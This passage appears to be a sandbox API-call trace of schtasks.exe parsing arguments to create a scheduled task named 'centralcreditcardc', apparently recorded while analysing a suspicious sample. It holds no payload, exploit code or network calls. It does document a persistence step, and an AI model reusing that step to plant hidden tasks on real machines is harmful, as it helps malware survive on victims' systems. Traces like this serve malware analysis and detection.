[0080.861] _onexit (_Func=0xff932b80) returned 0xff932b80 [0080.862] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0080.862] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0080.862] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0080.862] _onexit (_Func=0xff932c20) returned 0xff932c20 [0080.862] _onexit (_Func=0xff932c48) returned 0xff932c48 [0080.862] _onexit (_Func=0xff932c70) returned 0xff932c70 [0080.862] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0080.862] WinSqmIsOptedIn () returned 0x0 [0080.863] GetProcessHeap () returned 0x260000 [0080.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x2755d0 [0080.863] SetLastError (dwErrCode=0x0) [0080.863] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0080.863] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0080.863] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0080.863] VerifyVersionInfoW (in: lpVersionInformation=0x13f2c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f2c0) returned 1 [0080.863] GetProcessHeap () returned 0x260000 [0080.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bb90 [0080.863] lstrlenW (lpString="") returned 0 [0080.863] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x2) returned 0x27bbb0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275ac0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bbd0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275af0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275b20 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275b50 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275b80 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bbf0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275bb0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275be0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275c10 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275c40 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bc10 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275c70 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275ca0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275cd0 [0080.864] GetProcessHeap () returned 0x260000 [0080.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275d00 [0080.864] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0080.864] SetLastError (dwErrCode=0x0) [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275d30 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275d60 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275d90 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275dc0 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275df0 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bc30 [0080.865] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.865] GetProcessHeap () returned 0x260000 [0080.865] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x208) returned 0x27bdd0 [0080.865] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27bdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0080.865] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0080.868] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0080.868] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0080.869] GetProcessHeap () returned 0x260000 [0080.869] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x74e) returned 0x27c3a0 [0080.869] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0080.869] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x27c3a0 | out: lpData=0x27c3a0) returned 1 [0080.869] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0080.869] VerQueryValueW (in: pBlock=0x27c3a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f3a8, puLen=0x13f410 | out: lplpBuffer=0x13f3a8*=0x27c73c, puLen=0x13f410) returned 1 [0080.872] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.872] _vsnwprintf (in: _Buffer=0x27bdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f388 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0080.872] VerQueryValueW (in: pBlock=0x27c3a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f418, puLen=0x13f408 | out: lplpBuffer=0x13f418*=0x27c568, puLen=0x13f408) returned 1 [0080.872] lstrlenW (lpString="schtasks.exe") returned 12 [0080.872] lstrlenW (lpString="schtasks.exe") returned 12 [0080.872] lstrlenW (lpString=".EXE") returned 4 [0080.872] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0080.873] lstrlenW (lpString="schtasks.exe") returned 12 [0080.873] lstrlenW (lpString=".EXE") returned 4 [0080.873] _memicmp (_Buf1=0x27bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.873] lstrlenW (lpString="schtasks") returned 8 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x275ee0 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ccb0 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cce0 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cd10 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bc50 [0080.873] _memicmp (_Buf1=0x27bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.873] GetProcessHeap () returned 0x260000 [0080.873] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xa0) returned 0x27c1d0 [0080.873] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cd40 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cd70 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cda0 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27bc70 [0080.874] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x200) returned 0x27d480 [0080.874] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0080.874] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x30) returned 0x277c50 [0080.874] _vsnwprintf (in: _Buffer=0x27c1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f388 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3a0) returned 1 [0080.874] GetProcessHeap () returned 0x260000 [0080.874] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c3a0) returned 0x74e [0080.875] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3a0 | out: hHeap=0x260000) returned 1 [0080.875] SetLastError (dwErrCode=0x0) [0080.875] GetThreadLocale () returned 0x409 [0080.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.875] lstrlenW (lpString="?") returned 1 [0080.875] GetThreadLocale () returned 0x409 [0080.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.875] lstrlenW (lpString="create") returned 6 [0080.875] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="delete") returned 6 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="query") returned 5 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="change") returned 6 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="run") returned 3 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="end") returned 3 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] lstrlenW (lpString="showsid") returned 7 [0080.876] GetThreadLocale () returned 0x409 [0080.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.876] SetLastError (dwErrCode=0x0) [0080.876] SetLastError (dwErrCode=0x0) [0080.876] lstrlenW (lpString="/create") returned 7 [0080.876] lstrlenW (lpString="-/") returned 2 [0080.876] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.876] lstrlenW (lpString="?") returned 1 [0080.876] lstrlenW (lpString="?") returned 1 [0080.876] GetProcessHeap () returned 0x260000 [0080.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27c280 [0080.876] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.876] GetProcessHeap () returned 0x260000 [0080.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0xa) returned 0x27c3a0 [0080.876] lstrlenW (lpString="create") returned 6 [0080.876] GetProcessHeap () returned 0x260000 [0080.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x18) returned 0x27c3c0 [0080.876] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.876] GetProcessHeap () returned 0x260000 [0080.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x14) returned 0x27c3e0 [0080.877] _vsnwprintf (in: _Buffer=0x27c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.877] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.877] lstrlenW (lpString="|?|") returned 3 [0080.877] lstrlenW (lpString="|create|") returned 8 [0080.877] SetLastError (dwErrCode=0x490) [0080.877] lstrlenW (lpString="create") returned 6 [0080.877] lstrlenW (lpString="create") returned 6 [0080.877] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.877] GetProcessHeap () returned 0x260000 [0080.877] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3a0) returned 1 [0080.877] GetProcessHeap () returned 0x260000 [0080.877] RtlReAllocateHeap (Heap=0x260000, Flags=0xc, Ptr=0x27c3a0, Size=0x14) returned 0x27c400 [0080.877] lstrlenW (lpString="create") returned 6 [0080.877] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.877] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.877] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.877] lstrlenW (lpString="|create|") returned 8 [0080.877] lstrlenW (lpString="|create|") returned 8 [0080.877] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0080.877] SetLastError (dwErrCode=0x0) [0080.877] SetLastError (dwErrCode=0x0) [0080.877] SetLastError (dwErrCode=0x0) [0080.877] lstrlenW (lpString="/tn") returned 3 [0080.877] lstrlenW (lpString="-/") returned 2 [0080.877] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.877] lstrlenW (lpString="?") returned 1 [0080.877] lstrlenW (lpString="?") returned 1 [0080.877] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.877] lstrlenW (lpString="tn") returned 2 [0080.877] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.877] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.877] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.878] lstrlenW (lpString="|?|") returned 3 [0080.878] lstrlenW (lpString="|tn|") returned 4 [0080.878] SetLastError (dwErrCode=0x490) [0080.878] lstrlenW (lpString="create") returned 6 [0080.878] lstrlenW (lpString="create") returned 6 [0080.878] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] lstrlenW (lpString="tn") returned 2 [0080.878] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.878] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.878] lstrlenW (lpString="|create|") returned 8 [0080.878] lstrlenW (lpString="|tn|") returned 4 [0080.878] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0080.878] SetLastError (dwErrCode=0x490) [0080.878] lstrlenW (lpString="delete") returned 6 [0080.878] lstrlenW (lpString="delete") returned 6 [0080.878] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] lstrlenW (lpString="tn") returned 2 [0080.878] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|delete|") returned 8 [0080.878] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.878] lstrlenW (lpString="|delete|") returned 8 [0080.878] lstrlenW (lpString="|tn|") returned 4 [0080.878] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0080.878] SetLastError (dwErrCode=0x490) [0080.878] lstrlenW (lpString="query") returned 5 [0080.878] lstrlenW (lpString="query") returned 5 [0080.878] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] lstrlenW (lpString="tn") returned 2 [0080.878] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.878] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|query|") returned 7 [0080.879] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.879] lstrlenW (lpString="|query|") returned 7 [0080.879] lstrlenW (lpString="|tn|") returned 4 [0080.879] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0080.879] SetLastError (dwErrCode=0x490) [0080.879] lstrlenW (lpString="change") returned 6 [0080.879] lstrlenW (lpString="change") returned 6 [0080.879] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] lstrlenW (lpString="tn") returned 2 [0080.879] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|change|") returned 8 [0080.879] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.879] lstrlenW (lpString="|change|") returned 8 [0080.879] lstrlenW (lpString="|tn|") returned 4 [0080.879] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0080.879] SetLastError (dwErrCode=0x490) [0080.879] lstrlenW (lpString="run") returned 3 [0080.879] lstrlenW (lpString="run") returned 3 [0080.879] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] lstrlenW (lpString="tn") returned 2 [0080.879] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|run|") returned 5 [0080.879] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.879] lstrlenW (lpString="|run|") returned 5 [0080.879] lstrlenW (lpString="|tn|") returned 4 [0080.879] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0080.879] SetLastError (dwErrCode=0x490) [0080.879] lstrlenW (lpString="end") returned 3 [0080.879] lstrlenW (lpString="end") returned 3 [0080.879] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] lstrlenW (lpString="tn") returned 2 [0080.879] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.879] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|end|") returned 5 [0080.880] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.880] lstrlenW (lpString="|end|") returned 5 [0080.880] lstrlenW (lpString="|tn|") returned 4 [0080.880] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0080.880] SetLastError (dwErrCode=0x490) [0080.880] lstrlenW (lpString="showsid") returned 7 [0080.880] lstrlenW (lpString="showsid") returned 7 [0080.880] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.880] GetProcessHeap () returned 0x260000 [0080.880] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c400) returned 1 [0080.880] GetProcessHeap () returned 0x260000 [0080.880] RtlReAllocateHeap (Heap=0x260000, Flags=0xc, Ptr=0x27c400, Size=0x16) returned 0x27c400 [0080.880] lstrlenW (lpString="tn") returned 2 [0080.880] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.880] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|showsid|") returned 9 [0080.880] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|tn|") returned 4 [0080.880] lstrlenW (lpString="|showsid|") returned 9 [0080.880] lstrlenW (lpString="|tn|") returned 4 [0080.880] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0080.880] SetLastError (dwErrCode=0x490) [0080.880] SetLastError (dwErrCode=0x490) [0080.880] SetLastError (dwErrCode=0x0) [0080.880] lstrlenW (lpString="/tn") returned 3 [0080.880] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0080.880] SetLastError (dwErrCode=0x490) [0080.880] SetLastError (dwErrCode=0x0) [0080.880] lstrlenW (lpString="/tn") returned 3 [0080.880] GetProcessHeap () returned 0x260000 [0080.880] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x8) returned 0x27c3a0 [0080.880] GetProcessHeap () returned 0x260000 [0080.880] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27cdd0 [0080.880] SetLastError (dwErrCode=0x0) [0080.881] SetLastError (dwErrCode=0x0) [0080.881] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.881] lstrlenW (lpString="-/") returned 2 [0080.881] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0080.881] SetLastError (dwErrCode=0x490) [0080.881] SetLastError (dwErrCode=0x490) [0080.881] SetLastError (dwErrCode=0x0) [0080.881] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.881] StrChrIW (lpStart="centralcreditcardc", wMatch=0x3a) returned 0x0 [0080.881] SetLastError (dwErrCode=0x490) [0080.881] SetLastError (dwErrCode=0x0) [0080.881] lstrlenW (lpString="centralcreditcardc") returned 18 [0080.881] GetProcessHeap () returned 0x260000 [0080.881] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x26) returned 0x27ce00 [0080.881] GetProcessHeap () returned 0x260000 [0080.881] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x20) returned 0x27ce30 [0080.881] SetLastError (dwErrCode=0x0) [0080.881] SetLastError (dwErrCode=0x0) [0080.881] lstrlenW (lpString="/sc") returned 3 [0080.881] lstrlenW (lpString="-/") returned 2 [0080.881] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.881] lstrlenW (lpString="?") returned 1 [0080.881] lstrlenW (lpString="?") returned 1 [0080.881] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.881] lstrlenW (lpString="sc") returned 2 [0080.881] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.881] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|?|") returned 3 [0080.881] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.881] lstrlenW (lpString="|?|") returned 3 [0080.881] lstrlenW (lpString="|sc|") returned 4 [0080.881] SetLastError (dwErrCode=0x490) [0080.881] lstrlenW (lpString="create") returned 6 [0080.881] lstrlenW (lpString="create") returned 6 [0080.881] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.881] lstrlenW (lpString="sc") returned 2 [0080.881] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|create|") returned 8 [0080.882] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.882] lstrlenW (lpString="|create|") returned 8 [0080.882] lstrlenW (lpString="|sc|") returned 4 [0080.882] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0080.882] SetLastError (dwErrCode=0x490) [0080.882] lstrlenW (lpString="delete") returned 6 [0080.882] lstrlenW (lpString="delete") returned 6 [0080.882] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] lstrlenW (lpString="sc") returned 2 [0080.882] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|delete|") returned 8 [0080.882] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.882] lstrlenW (lpString="|delete|") returned 8 [0080.882] lstrlenW (lpString="|sc|") returned 4 [0080.882] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0080.882] SetLastError (dwErrCode=0x490) [0080.882] lstrlenW (lpString="query") returned 5 [0080.882] lstrlenW (lpString="query") returned 5 [0080.882] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] lstrlenW (lpString="sc") returned 2 [0080.882] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|query|") returned 7 [0080.882] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f398 | out: _Buffer="|sc|") returned 4 [0080.882] lstrlenW (lpString="|query|") returned 7 [0080.882] lstrlenW (lpString="|sc|") returned 4 [0080.882] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0080.882] SetLastError (dwErrCode=0x490) [0080.882] lstrlenW (lpString="change") returned 6 [0080.882] lstrlenW (lpString="change") returned 6 [0080.882] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.882] lstrlenW (lpString="sc") returned 2 [0080.883] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.883] _vsnwprintf (in: _Buffer=0x27c400, 